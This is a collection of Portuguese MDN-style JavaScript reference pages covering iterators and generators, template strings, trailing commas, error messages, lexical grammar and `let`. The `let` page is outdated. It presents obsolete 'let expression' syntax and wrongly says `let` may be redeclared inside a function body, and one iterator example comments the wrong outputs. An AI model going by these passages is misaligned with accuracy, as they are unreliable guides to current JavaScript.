};\n}\n\nvar it = makeIterator(['yo', 'ya']);\n\nconsole.log(it.next().value); // 'yo'\nconsole.log(it.next().value); // 'ya'\nconsole.log(it.next().done);  // true\n```\n\n### Infinite iterator\n```\n\nfunction idMaker() {\n    var index = 0;\n\n    return {\n       next: function(){\n           return {value: index++, done: false};\n       }\n    };\n}\n\nvar it = idMaker();\n\nconsole.log(it.next().value); // '0'\nconsole.log(it.next().value); // '1'\nconsole.log(it.next().value); // '2'\n// ...\n```\n\n### Com um gerador\n```\n\nfunction* makeSimpleGenerator(array) {\n    var nextIndex = 0;\n\n    while (nextIndex < array.length) {\n        yield array[nextIndex++];\n    }\n}\n\nvar gen = makeSimpleGenerator(['yo', 'ya']);\n\nconsole.log(gen.next().value); // 'yo'\nconsole.log(gen.next().value); // 'ya'\nconsole.log(gen.next().done);  // true\n\nfunction* idMaker() {\n    var index = 0;\n    while (true)\n        yield index++;\n}\n\nvar gen = idMaker();\n\nconsole.log(gen.next().value); // '0'\nconsole.log(gen.next().value); // '1'\nconsole.log(gen.next().value); // '2'\n// ...\n```\n\n### Com uma classe ES2015\n```\n\nclass SimpleClass {\n  constructor(data) {\n    this.index = 0;\n    this.data = data;\n  }\n\n  [Symbol.iterator]() {\n    return {\n      next: () => {\n        if (this.index < this.data.length) {\n          return {value: this.data[this.index++], done: false};\n        } else {\n          this.index = 0; //If we would like to iterate over this again without forcing manual update of the index\n          return {done: true};\n        }\n      }\n    };\n  }\n}\n\nconst simple = new SimpleClass([1,2,3,4,5]);\n\nfor (const val of simple) {\n  console.log(val);  //'0' '1' '2' '3' '4' '5'\n}\n```\n\nUm objeto gerador um iterador ou iterável?\n------------------------------------------\n\nUm objeto gerador é tanto iterador quanto iterável:\n```\n\nvar aGeneratorObject = function* () {\n    yield 1;\n    yield 2;\n    yield 3;\n}();\ntypeof aGeneratorObject.next;\n// \"function\", because it has a next method, so it's an iterator\ntypeof aGeneratorObject[Symbol.iterator];\n// \"function\", because it has an @@iterator method, so it's an iterable\naGeneratorObject[Symbol.iterator]() === aGeneratorObject;\n// true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable\n[...aGeneratorObject];\n// [1, 2, 3]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-iteration |\n\nVeja também\n-----------\n\n* Para mais informações sobre *generators* ES2015, consulte a documentação de function\\*."}
{"title":"Template strings - JavaScript","text":"Template strings\n================\n\n*Template* Strings são *string*s que permitem expressões embutidas. Você pode *utilizar string* multi-linhas e interpolação de *string* com elas.\n\nBasicamente é uma nova forma de criar strings e tornar o seu código um pouco mais legível.\n\nSintaxe\n-------\n\n\n```js\n`corpo de texto`\n\n`texto linha 1\n texto linha 2`\n\n`texto string ${expression} texto string`\n\ntag `texto string ${expression} texto string`\n```\n\nDescrição\n---------\n\n*Template strings* são envolvidas por (acentos graves) (` `) em vez de aspas simples ou duplas. *Template strings* podem possuir *placeholders*. Estes são indicados por um cifrão seguido de chaves (`${expression}`). As expressões nos *placeholders*, bem como o texto em volta delas são passados a uma função. A função padrão apenas concatena as partes em uma *string* única. Se existir uma expressão precedendo a *template string* (função `tag` exemplo), a *template string* é definida como \"*tagged template string*\". No caso, a expressão *tag* (geralmente uma função) é chamada pela *template string* processada, que você pode manipular antes de produzir o resultado.\n\n\n```js\n`\\`` === \"`\"; // --> true\n```\n\n### Strings multi-linhas\n\nQualquer caracter de nova linha inserido no código é parte da *template string*. Utilizando *strings* normais, você teria de usar a síntaxe a seguir para obter strings multi-linhas:\n\n\n```js\nconsole.log(\"texto string linha 1\\n\" + \"texto string linha 2\");\n// \"texto string linha 1\n// texto string linha 2\"\n```\n\n\nPara obter o mesmo efeito com strings multi-linhas, você agora pode escrever:\n\n\n```js\nconsole.log(`texto string linha 1\ntexto string linha 2`);\n// \"texto string linha 1\n// texto string linha 2\"\n```\n\n### Interpolação de Expressões\n\nPara encapsular expressões dentro de strings, você precisava utilizar a seguinte sintaxe:\n\n\n```js\nvar a = 5;\nvar b = 10;\nconsole.log(\"Quinze é \" + (a + b) + \" e\\nnão \" + (2 \\* a + b) + \".\");\n// \"Quinze é 15 e\n// não 20.\"\n```\n\n\nAgora, com template strings, você pode utilizar as substituições sintáticas tornando o código mais legível:\n\n\n```js\nvar a = 5;\nvar b = 10;\nconsole.log(`Quinze é ${a + b} e\nnão ${2 \\* a + b}.`);\n// \"Quinze é 15 e\n// não 20.\"\n```\n\n### Tagged template strings\n\nUma forma mais avançada dos *template string* são os *template strings* com marcações ou tags, ou *tagged template strings*. Com eles, você tem a possibilidade de modificar a saída dos *template strings* usando uma função. O primeiro argumento contém um array de literais (\"Hello\" e \"World\" neste exemplo). Do segundo em diante e cada argumento subsequente contém valores previamente processados (algumas vezes chamados *cooked*) pelas expressões de substituição (\"15\" e \"50\" no caso do exemplo). No final, a função retorna a string ja manipulada:\n\n\n```js\nvar a = 5;\nvar b = 10;\n\nfunction tag(strings, ...values) {\n  console.log(strings[0]); // \"Hello \"\n  console.log(strings[1]); // \" world \"\n  console.log(values[0]); // 15\n  console.log(values[1]); // 50\n\n  return \"Bazinga!\";\n}\n\ntag`Hello ${a + b} world ${a \\* b}`;\n// \"Bazinga!\"\n```\n\n### Strings *Raw*\n\nA propriedade especial `raw`, disponível no primeiro argumento da função da *tagged template string* acima, permite o acesso as strings de maneira pura (*raw*) exatamente como elas foram especificadas:\n\n\n```js\nfunction tag(strings, ...values) {\n  return strings.raw[0];\n}\n\ntag`string text line 1 \\n string text line 2`;\n// \"string text line 1 \\\\n string text line 2\"\n```\n\n\nAdicionalmente, o método `String.raw()` permite a criação de strings cruas, exatamente como as *template functions* e as concatenações deveram criar.\n\n\n```js\nString.raw`Hi\\n${2 + 3}!`; // \"Hi\\\\n5!\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-template-literals |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String`\n* `String.raw()`\n* Gramática léxica\n* Template-like strings in ES3 compatible syntax\n* \"ES6 in Depth: Template strings\" on hacks.mozilla.org\n* https://styled-components.com/"}
{"title":"Trailing commas - JavaScript","text":"Trailing commas\n===============\n\n**Trailing commas** (por vezes chamadas \"final commas\") podem ser úteis quando\n adicionar novos elementos, parâmetros, ou propriedades ao código JavaScript. Se desejar adicionar um\n nova propriedade, pode adicionar uma nova linha sem modificar a última linha anterior, se isso\n A linha já usa uma vírgula de trailing. Isto torna as diffs de controle de versão mais limpas e editadas, assim o\n controle de versão do código pode ser menos problemático.\n\n O JavaScript tem permitido o uso de trailing commas em arrays literais desde o início, e posteriormente adicionou-as aos objetos literais, e mais recentemente, a\n parâmetros da função e a importações nomeadas e exportações nomeadas.\n\nJSON, no entanto, não permitem o uso de trailing comma.\n\nSyntax\n------\n\n\n```js\n,\n```\n\nExemplos\n--------\n\n### Trailing commas em literais\n\n#### Arrays\n\nJavaScript ignora trailing commas em arrays:\n\n\n```js\nconst arr = [1, 2, 3];\narr; // [1, 2, 3]\narr.length; // 3\n```\n\n\n Se for utilizada mais do que uma trailing comma, é produzida uma elisão (ou buraco). Uma elisão\n com buracos é chamado de *sparse* (uma matriz *densa* não tem sparse). Quando\n arrays iteráveis por exemplo com `Array.prototype.forEach()` ou\n `Array.prototype.map()`, os buracos da matriz são saltados.\n\n\n```js\nconst arr = [1, 2, 3, , ,];\narr.length; // 5\n```\n\n\n#### Objetos\n\nTrailing commas em objetos literais também são úteis:\n\n\n```js\nconst objeto = {\n  foo: \"bar\",\n  teclado: \"qwerty\",\n  idade: 42,\n};\n```\n\n### Trailing commas em funções\n\nTrailing commas também são permitidas nas listas de parâmetros de funções\n\n#### Definição de parâmetros\n\n Os seguintes pares de definição de funções são válidos e equivalentes um ao outro.\n As trailing commas não afetam a propriedade `length` das declarações de função\n ou o objeto `arguments`\n\n\n```js\nfunction f(p) {}\nfunction f(p) {}\n(p) => {};\n(p) => {};\n```\n\n\nAs trailing commas também funcionam como definições de métodos para classes ou objetos:\n\n\n```js\nclass C {\n  um(a) {}\n  dois(a, b) {}\n}\nconst objeto = {\n  um(a) {},\n  dois(a, b) {},\n};\n```\n\n\n#### Chamadas de função\n\nOs seguintes pares de invocação de funções são válidos e equivalentes um ao outro.\n\n\n```js\nf(p);\nf(p);\nMath.max(10, 20);\nMath.max(10, 20);\n```\n\n\n#### Trailing commas inválidas\n\n Definições de parâmetros de funções ou invocações de funções que contenham apenas uma vírgula\n lançam um `SyntaxError` (en-US). Além disso, ao utilizar um parâmetros rest, não são permitidas trailling commas:\n\n\n```js\nfunction f(,) {} // SyntaxError: parâmetro formal em falta\n(,) => {};       // SyntaxError: expressão esperada, contém ','\nf(,)             // SyntaxError: expressão esperada, contém ','\nfunction f(...p,) {} // SyntaxError: parâmetro após parâmetro de repouso\n(...p,) => {}        // SyntaxError: parênteses de fecho esperados, contém ','\n```\n\n### Trailing commas em desestruturação\n\n Também é permitida uma vírgula no lado esquerdo quando se usa\n atribuição de desestruturação:\n\n\n```js\n// desestruturação de array com trailing comma\n[a, b] = [1, 2];\n// desestruturação de objeto com trailing comma\nconst o = {\n  p: 42,\n  q: true,\n};\nconst { p, q } = o;\n```\n\n\nMais uma vez, ao utilizar um elemento de rest, um `SyntaxError` (en-US) será lançado:\n\n\n```js\nconst [a, ...b] = [1, 2, 3];\n// SyntaxError: elemento rest pode nao ter um trailing comma\n```\n\n### Trailing commas em JSON\n\nComo o JSON se baseia num subconjunto muito restrito de sintaxe JavaScript, **não são permitidas trailing commas no JSON\\***.\n\nAmbas as linhas irão lançar um `SyntaxError`:\n\n\n```js\nJSON.parse(\"[1, 2, 3, 4, ]\");\nJSON.parse('{\"foo\" : 1, }');\n// SyntaxError JSON.parse: carácter inesperado\n// na linha 1 coluna 14 dos dados do JSON\n```\n\n\nOmitir trailing commas para analisar correctamente o JSON:\n\n\n```js\nJSON.parse(\"[1, 2, 3, 4 ]\");\nJSON.parse('{\"foo\" : 1 }');\n```\n\n### Trailling commas em importações nomeadas e exportações nomeadas\n\nTrailing commas são válidas em importações nomeadas e exportações nomeadas.\n\n#### importações nomeadas\n\n\n```js\nimport { A, B, C } from \"D\";\nimport { X, Y, Z } from \"W\";\nimport { A as B, C as D, E as F } from \"Z\"; //Renomeando as importações\n```\n\n\n#### exportações nomeadas\n\n\n```js\nexport { A, B, C };\nexport { A, B, C };\nexport { A as B, C as D, E as F }; // Renomeando as importações\n```\n\n### Prefixo do quantificador\n\n\n```js\n  //{ DecimalDigits[~Sep], DecimalDigits[~Sep] }\n  x{n,}\n  x{n,m}\n  x{n,m}?\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-Elision |\n| ECMAScript Language Specification # prod-ObjectLiteral |\n| ECMAScript Language Specification # prod-ArrayLiteral |\n| ECMAScript Language Specification # prod-Arguments |\n| ECMAScript Language Specification # prod-FormalParameters |\n| ECMAScript Language Specification # prod-CoverParenthesizedExpressionAndArrowParameterList |\n| ECMAScript Language Specification # prod-NamedImports |\n| ECMAScript Language Specification # prod-NamedExports |\n| ECMAScript Language Specification # prod-QuantifierPrefix |\n| ECMAScript Language Specification # prod-annexB-InvalidBracedQuantifier |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Proposta inicial do ECMAScript: trailing function commas por Jeff Morrison"}
{"title":"JavaScript error reference - JavaScript","text":"JavaScript error reference\n==========================\n\nLista de erros \"globais\".\n\n* Erro de Sintaxe: faltando : depois da propriedade id\n* Erro de sintaxe falta ) depois da lista de argumentos\n* Erro de sintaxe: declaração de função requer um nome\n* Error: Permission denied to access property \"x\"\n* InternalError: too much recursion\n* RangeError: argument is not a valid code point\n* RangeError: invalid array length\n* RangeError: invalid date\n* RangeError: precision is out of range\n* RangeError: repeat count must be non-negative\n* ReferenceError: \"x\" não está definido\n* ReferenceError: Atribuição à variável não declarada \"x\"\n* ReferenceError: can't access lexical declaration`X' before initialization\n* ReferenceError: invalid assignment left-hand side\n* ReferenceError: reference to undefined property \"x\"\n* SyntaxError: JSON.parse: bad parsing\n* SyntaxError: Unexpected token\n* SyntaxError: as declarações da cabeça do laço for-in podem não ter inicializadores\n* SyntaxError: flag de expressão regular inválida \"x\"\n* SyntaxError: illegal character\n* SyntaxError: missing formal parameter\n* SyntaxError: missing variable name\n* SyntaxError: missing } after property list\n* SyntaxError: redeclaration of formal parameter \"x\"\n* SyntaxError: uma declaração na cabeça de um laço for-of não pode ter um inicializador\n* SyntaxError: unterminated string literal\n* TypeError: \"x\" is (not) \"y\"\n* TypeError: \"x\" is not a function\n* TypeError: \"x\" is read-only\n* TypeError: atribuição inválida para const \"x\"\n* TypeError: can't assign to property \"x\" on \"y\": not an object\n* TypeError: can't define property \"x\": \"obj\" is not extensible\n* TypeError: can't redefine non-configurable property \"x\"\n* TypeError: invalid Array.prototype.sort argument\n* TypeError: property \"x\" is non-configurable and can't be deleted\n* TypeError: setting getter-only property \"x\"\n* Warning: -file- is being assigned a //# sourceMappingURL, but already has one\n* Warning: unreachable code after return statement"}
{"title":"Gramática léxica - JavaScript","text":"Gramática léxica\n================\n\nEsta página descreve a gramática léxica da linguagem JavaScript. O código fonte de um script ECMAScript é lido da esquerda para direita e traduzido em uma sequência de elementos de entrada, como símbolos, caracteres de controle, finalizadores de linha, comentários ou espaços em branco. ECMAScript também define certas palavras-chave e literais e possui regras para inserção automática de ponto e vírgula ao final de declarações.\n\nCaracteres de controle\n----------------------\n\nCaracteres de controle não possuem representação visual, mas são usados para controlar a interpretação do código.\n\n| Código | Nome | Abreviação | Descrição |\n| --- | --- | --- | --- |\n| `U+200C` | Zero width non-joiner | <ZWNJ> | Colocado entre caracteres para evitar que sejam visualmente ligados (fundidos) em algumas linguagens (Wikipedia). |\n| `U+200D` | Zero width joiner | <ZWJ> | Colocado entre caracteres que podem não estar normalmente conectados, para que estes caracteres sejam renderizados com suas devidas ligações em certas linguagens (Wikipedia). |\n| `U+FEFF` | Byte order mark | <BOM> | Usado no início do script para marcá-lo como Unicode e especificar a ordem de bytes do código (Wikipedia). |\n\nEspaço em branco\n----------------\n\nEspaços em branco ajudam na legibilidade do código e separam os símbolos um do outro. Estes caracteres normalmente não são funcionais no código. Ferramentas de minificação podem ser usadas para remover espaços em branco do código reduzindo, assim, a quantidade de dados que precisam ser transferidos.\n\n| Código | Nome | Abreviação | Descrição | Sequência de escape |\n| --- | --- | --- | --- | --- |\n| U+0009 | Character tabulation | <HT> | Tabulação horizontal | \\t |\n| U+000B | Line tabulation | <VT> | Tabulação vertical | \\v |\n| U+000C | Form feed | <FF> | Pular para próxima página (Wikipedia). | \\f |\n| U+0020 | Space | <SP> | Espaço normal |  |\n| U+00A0 | No-break space | <NBSP> | Espaço normal, sem marcar quebra de linha |  |\n| Others | Other Unicode space characters | <USP> | Outros tipos de espaço. Veja na Wikipedia |  |\n\nFinalizadores de linha\n----------------------\n\nAlém dos caracteres de espaço em branco, caracteres finalizadores de linha são usados para melhorar a legibilidade do código. Contudo, em alguns casos, finalizadores de linha podem influenciar a execução do código JavaScript, por isso você não poderá usá-los em alguns casos. Eles também afetam o processo automático de inserção de ponto e vírgula. Em expressões regulares os finalizadores de linha podem ser indicados com a classe **\\s**.\n\nApenas os seguintes códigos Unicode são tratados como finalizadores de linha no ECMAScript, outros caracteres de quebra de linha são tratados apenas como espaço em branco (por exemplo, Next Line, NEL, U+0085 são considerados espaço em branco).\n\n| Código | Nome | Abreviação | Descrião | Sequência de escape |\n| --- | --- | --- | --- | --- |\n| U+000A | Line Feed | <LF> | Caractere de nova linha em sistemas UNIX. | \\n |\n| U+000D | Carriage Return | <CR> | Caractere de nova linha nos sistemas Commodore e nos primeiros Mac's. | \\r |\n| U+2028 | Line Separator | <LS> | Wikipedia |  |\n| U+2029 | Paragraph Separator | <PS> | Wikipedia |  |\n\nComentários\n-----------\n\nComentários são usados para inserir dicas, notas, sugestões ou alertas no código JavaScript. Isto pode tornar mais fácil ler ou entender o que o código faz. Também pode ser usado para desabilitar código, evitando sua execução; isto pode ser uma valiosa ferramenta na hora de debugar seu código.\n\nJavaScript possui duas formas de inserir comentário no código.\n\nO primeiro é com o uso de duas barras `//`; isso faz com que qualquer coisa escrita a seguir, e na mesma linha, se torne comentário. Por exemplo:\n\n\n```js\nfunction comment() {\n  // Isto é um comentário de uma linha em JavaScript\n  console.log(\"Hello world!\");\n}\ncomment();\n```\n\n\nA segunda forma é com o uso de `/* */`, que é muito mais flexível.\n\nPor exemplo, você pode usá-lo em uma única linha:\n\n\n```js\nfunction comment() {\n  /\\* Isto é um comentário de uma linha em JavaScript \\*/\n  console.log(\"Hello world!\");\n}\ncomment();\n```\n\n\nOu pode fazer um comentário de várias linhas, desta forma:\n\n\n```js\nfunction comment() {\n  /\\* Este é um comentário de várias linhas. Observe que\n não precisamos encerrar o comentário até terminar. \\*/\n  console.log(\"Hello world!\");\n}\ncomment();\n```\n\n\nVocê também pode usá-lo no meio de uma linha, se quiser, porém isto pode tornar seu código mais difícil de ler, portanto use com cautela:\n\n\n```js\nfunction comment(x) {\n  console.log(\"Hello \" + x /\\* insira o valor de x \\*/ + \" !\");\n}\ncomment(\"world\");\n```\n\n\nAlém disso, você pode usá-lo para desativar algum código para evitar que seja executado, envolvendo o código em um comentário, assim:\n\n\n```js\nfunction comment() {\n  /\\* console.log('Hello world!'); \\*/\n}\ncomment();\n```\n\n\nNeste caso, a função `console.log()` nunca será invocada, pois está comentada. Qualquer quantidade de linhas de código podem ser desabilitadas desta forma.\n\nPalavras-chave\n--------------\n\n### Palavras-chave reservadas do ECMAScript 2015\n\n* `break`\n* `case`\n* `catch`\n* `class`\n* `const`\n* `continue`\n* `debugger`\n* `default` (en-US)\n* `delete` (en-US)\n* `do`\n* `else`\n* `export`\n* `extends`\n* `finally`\n* `for`\n* `function`\n* `if`\n* `import`\n* `in`\n* `instanceof`\n* `new`\n* `return`\n* `super`\n* `switch`\n* `this`\n* `throw`\n* `try`\n* `typeof`\n* `var`\n* `void`\n* `while`\n* `with`\n* `yield`\n### Palavras-chave reservadas para uso futuro\n\nAs seguintes palavras-chave estão reservadas para uso futuro na especificação ECMAScript. Atualmente elas não tem funcionalidade, mas poderão ter no futuro, portanto elas também não podem ser usadas como identificadores.\n\nEstes sempre são reservados:\n\n* `enum`\n\nOs seguintes são reservados apenas quando o código está em modo estrito (*strict mode*):\n\n* `implements`\n* `interface`\n* `let`\n* `package`\n* `private`\n* `protected`\n* `public`\n* `static`\n\nOs seguintes são reservados apenas quando são encontrados no código do módulo:\n\n* `await`\n\n#### Palavras-chave reservadas para uso futuro em versões antigas\n\nAs seguintes palavras-chave foram reservadas para uso futuro em especificações antigas do ECMAScript (ECMAScript 1 até 3).\n\n* `abstract`\n* `boolean`\n* `byte`\n* `char`\n* `double`\n* `final`\n* `float`\n* `goto`\n* `int`\n* `long`\n* `native`\n* `short`\n* `synchronized`\n* `throws`\n* `transient`\n* `volatile`\n\nAlém disso, os literais `null`, `true`, e `false` não podem ser usados como identificadores em ECMAScript.\n\n### Uso de palavras-chave reservadas\n\nPalavras reservadas atualmente só não podem ser usadas como identificadores . Como descrito em es5.github.com/#A.1, não há problema em usar palavras reservadas desta forma.\n\n\n```js\na.import\na['import']\na = { import: 'test' }.\n```\n\n\nPor outro lado, o seguinte é ilegal por quê a palavra reservada \"*import*\" está sendo usada como identificador. Identificadores podem ser usados em declaração de expressões e funções.\n\n\n```js\nfunction import() {} // Proibido.\n```\n\nLiterais\n--------\n\n### Null\n\nVeja também `null` para mais informações.\n\n\n```js\nnull;\n```\n\n### Booleanos\n\nVeja também `Boolean` para mais informações.\n\n\n```js\ntrue;\nfalse;\n```\n\n### Números\n\n#### Decimal\n\n\n```js\n1234567890;\n42;\n\n// Cuidado com o uso precedido de zero:\n0888; // 888 convertido como decimal\n0777; // Convertido como octal, 511 em decimal\n```\n\n\nVeja que números decimais podem começar com zero (`0`) seguido de outro dígito decimal, porém se todos dígitos após o zero inicial forem menores que 8, o número é interpretado como um número octal. Isso não vai disparar um erro em JavaScript, veja Erro do Firefox 957513. Veja também esta página sobre conversão de tipo `parseInt()`.\n\n#### Binário\n\nNúmeros binários em JavaScript são iniciados em zero seguido da letra \"B\" em maiúsculo ou minúsculo (`0b` ou `0B`). Esta sintaxe é nova no ECMAScript 2015, por isso verifique a compatibilidade do navegador. Se o dígito seguinte ao `0b` não for 0 ou 1, o seguinte erro de sintaxe (en-US) é disparado: \"Missing binary digits after 0b\".\n\n\n```js\nvar FLT\\_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648\nvar FLT\\_EXPONENT = 0b01111111100000000000000000000000; // 2139095040\nvar FLT\\_MANTISSA = 0b00000000011111111111111111111111; // 8388607\n```\n\n\n#### Octal\n\nNúmeros octais em JavaScript são escritos com zero inicial seguido da letra \"O\" em maiúsculo ou minúsculo (`0o` ou `0O)`. Esta sintaxe é nova no ECMAScript 2015, por isso verifique a compatibilidade do navegador. Se os dígitos após o `0o não forem octais válidos` (01234567), o seguinte erro de sintaxe (en-US) será disparado: \"Missing octal digits after 0o\".\n\n\n```js\nvar n = 0o755; // 493\nvar m = 0o644; // 420\n\n// Também é possível com apenas um zero no início (veja sobre decimais acima)\n0755;\n0644;\n```\n\n\n#### Hexadecimal\n\nNúmeros hexadecimais em JavaScript são iniciados com zero seguido da letra \"X\" em maiúsculo ou minúsculo (`0x` ou `0X)`. Se os dígitos após o 0x não forem hexadecimais válidos (0123456789ABCDEF), o seguinte erro de sintaxe (en-US) será disparado: \"Identifier starts immediately after numeric literal\".\n\n\n```js\n0xfffffffffffffffff; // 295147905179352830000\n0x123456789abcdef; // 81985529216486900\n0xa; // 10\n```\n\n### Objetos\n\nVeja também `Object` e Object initializer para mais informações.\n\n\n```js\nvar o = { a: \"foo\", b: \"bar\", c: 42 };\n\n// Notação curta. Novidade no ES2015\nvar a = \"foo\",\n  b = \"bar\",\n  c = 42;\nvar o = { a, b, c };\n\n// instead of\nvar o = { a: a, b: b, c: c };\n```\n\n### Arrays\n\nVeja também `Array` para mais informações.\n\n\n```js\n[1954, 1974, 1990, 2014];\n```\n\n### Strings\n\n\n```js\n'foo';\n\"bar\";\n```\n\n\n#### Caracteres de escape em hexadecimal\n\n\n```js\n\"\\xA9\"; // \"©\"\n```\n\n\n#### Caracteres de escape em Unicode\n\nA representação de caracteres de escape em Unicode requer ao menos quatro caracteres após o `\\u`.\n\n\n```js\n\"\\u00A9\"; // \"©\"\n```\n\n\n#### Codificação de caracteres Unicode\n\nNovidade no ECMAScript 2015. Com a codificação de caracteres Unicode qualquer caractere pode ser representado usando sequência hexadecimal, desta forma podemos representar caracteres Unicode com sequência hexadecimal até `0x10FFFF`. Usando apenas Unicode, muitas vezes pode ser necessário utilizar mais de uma sequência para conseguir o mesmo resultado.\n\nVeja também `String.fromCodePoint()` ou `String.prototype.codePointAt()`.\n\n\n```js\n\"\\u{2F804}\";\n\n// O mesmo usando apenas Unicode\n\"\\uD87E\\uDC04\";\n```\n\n### Expressões regulares\n\nVeja também `RegExp` para mais informações.\n\n\n```js\n/ab+c/g\n\n// Um \"espaço vazio\" em expressão regular\n// Para evitar confusão com comentário de linha única\n// faça o seguinte:\n/(?:)/\n```\n\n### Templates\n\nVeja também template strings para mais informações .\n\n\n```js\n`texto`;\n\n`linha de texto 1\n linha de texto 2`;\n\n`texto ${expressão} texto`;\n\ntag`texto ${expressão} texto`;\n```\n\nInserção automática de ponto e vírgula\n--------------------------------------\n\nAlgumas declarações JavaScript precisam ser finalizadas com ponto e vírgula e, por isso, são afetadas pelo mecanismo automático de inserção de ponto evírgula (na silga ASI, em inglês):\n\n* Declaração vazia\n* `let`, `const`, declaração de variável\n* `import`, `export`, declaração module\n* Expressões\n* `debugger`\n* `continue`, `break`, `throw`\n* `return`\n\nA especificação ECMAScript menciona três regras para inserção de ponto e vírgula.\n\n1. Um ponto e vírgula é inserido antes, quando um finalizador de linha ou um \"}\" é encontrado em local não permitido pela sintaxe.\n\n\n```js\n{ 1 2 } 3\n\n// É transformado pelo ASI em\n\n{ 1 2 ;} 3;\n```\n\n\n2. Um ponto e vírgula é inserido ao final, quando o sinal de final de linha é detectado e o conversor não é capaz de unir a linha seguinte em um único comando.\n\nAqui o `++ não é interpretado como operador de incremento aplicado à variável b por que há um finalizador de linha entre o b e ++` .\n\n\n```js\na = b\n++c\n\n// É transformado pelo ASI em\n\na = b;\n++c;\n```\n\n\n3. Um ponto e vírgula é inserido ao final quando uma declaração com regra léxica restrita é encontrada seguida de um finalizador de linha. As declaraçõs sem regra específica de finalizador de linha são:\n\n* Operadores de incremento ou decremento (`++` and `--`)\n* `continue`\n* `break`\n* `return`\n* `yield`, `yield*`\n* `module`\n\n\n```js\nreturn\na + b\n\n// É transformado pelo ASI em\n\nreturn;\na + b;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nFirefox-notas específicas\n-------------------------\n\n* Em versões anteriores ao Firefox 5 (JavaScript 1.8.6) palavras reservadas para uso futuro não pdem ser usadas em strict mode. Essa falha de ECMAScript foi corrigida no Firefox 5.\nVeja também\n-----------\n\n* Jeff Walden: Binary and octal numbers\n* Mathias Bynens: JavaScript character escape sequences\n* `Boolean`\n* `Number`\n* `RegExp`\n* `String`"}
{"title":"let - JavaScript","text":"let\n===\n\nDeclara uma variável local no escopo do bloco atual, opcionalmente iniciando-a com um valor.\n\nSintaxe\n-------\n\nDefinição `let`:\n```\n\nlet var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]];\n```\n\n\nExpressão `let`:\n```\n\nlet (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) expression;\n```\n\n\nInstrução `let`:\n```\n\nlet (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) statement;\n```\n\n### Parâmetros\n\n| Parameter | Description |\n| --- | --- |\n| `var1`, `var2`, …, `varN` | Nome da variável. Pode ser qualquer identificador válido. |\n| `value1`, `value2`, …, `valueN` | Valor inicial da variável. Pode ser qualquer expressão válida. |\n| `expression` | Qualquer expressão válida. |\n| `statement` | Qualquer instrução válida. |\n\nDescrição\n---------\n\n`let` permite que você declare variáveis limitando seu escopo no bloco, instrução, ou em uma expressão na qual ela é usada. Isso é inverso da keyword `var` (en-US), que define uma variável globalmente ou no escopo inteiro de uma função, independentemente do escopo de bloco.\n\n**Nota:** **Nota do tradutor:** o trecho acima: \"independentemente do escopo de bloco\", na verdade, significa dizer que variáveis declaradas dentro de blocos internos da função, por exemplo, são vinculadas no escopo da função, não no bloco no qual elas são declaradas. Se isso parece confuso - e realmente é -, apenas entenda que, ao contrário do que se poderia supor, em Javascript blocos não possuem escopo como em outras linguagens, somente funções têm! Isso quer dizer que mesmo uma váriavel definida com a keyword `var` dentro de um bloco de instrução `if`, será visível no resto inteiro da função.\n\nEscopo de bloco\n---------------\n\nVariáveis declaradas com `let` são \"içadas\" para começo do bloco em que elas são definidas (isso é conhecido também pelo termo, hoisting).\n\nRedeclaração de uma mesma variável num mesmo escopo de bloco causa um `TypeError` (en-US).\n\n\n```js\nif (x) {\n  let foo;\n  let foo; // Emite um TypeError.\n}\n```\n\n\nNo entanto, corpos de funções não possuem essa limitação!\n\n\n```js\nfunction do\\_something() {\n  let foo;\n  let foo; // Isso funciona.\n}\n```\n\n\n**Aviso:** **Atenção:** Os rascunhos do ECMAScript 6 (desde abril de 2012) tornam este comportamento ilegal. Isso significa, provavelmente, que as futuras versões do JavaScript levantarão um `TypeError` (en-US). Então, se você faz isso, deveria evitar essa prática!\n\nVocê pode encontrar erros em instruções `switch` (en-US) porque existe apenas um bloco subjacente.\n\n\n```js\nswitch (x) {\n  case 0:\n    let foo;\n    break;\n\n  case 1:\n    let foo; // TypeError para a redeclaração.\n    break;\n}\n```\n\nExemplos\n--------\n\nUma *expressão let* limita o escopo de uma variável declarada somente para aquela expressão.\n\n\n```js\nvar a = 5;\nlet(a = 6) alert(a); // 6\nalert(a); // 5\n```\n\n\nUsada dentro de um bloco, *let* limita os escopo das variáveis para aquele bloco. Observe a diferença entre *var* em que o escopo é definido dentro da função onde é declarada\n\n\n```js\nvar a = 5;\nvar b = 10;\n\nif (a === 5) {\n  let a = 4; // O escopo é dentro do bloco if\n  var b = 1; // O escopo é dentro da função\n\n  console.log(a); // 4\n  console.log(b); // 1\n}\n\nconsole.log(a); // 5\nconsole.log(b); // 1\n```\n\n\nÉ possível usar a keyword *let* para vincular variáveis localmente no escopo de loops em vez de usar uma variável global (definida usando *var*) para isso.\n\n\n```js\nfor (let i = 0; i < 10; i++) {\n  alert(i); // 1, 2, 3, 4 ... 9\n}\n\nalert(i); // i não está definida\n```\n\nVeja também\n-----------\n\n* `var` (en-US)\n* `const` (en-US)\n* Novidades do JavaScript 1.7"}
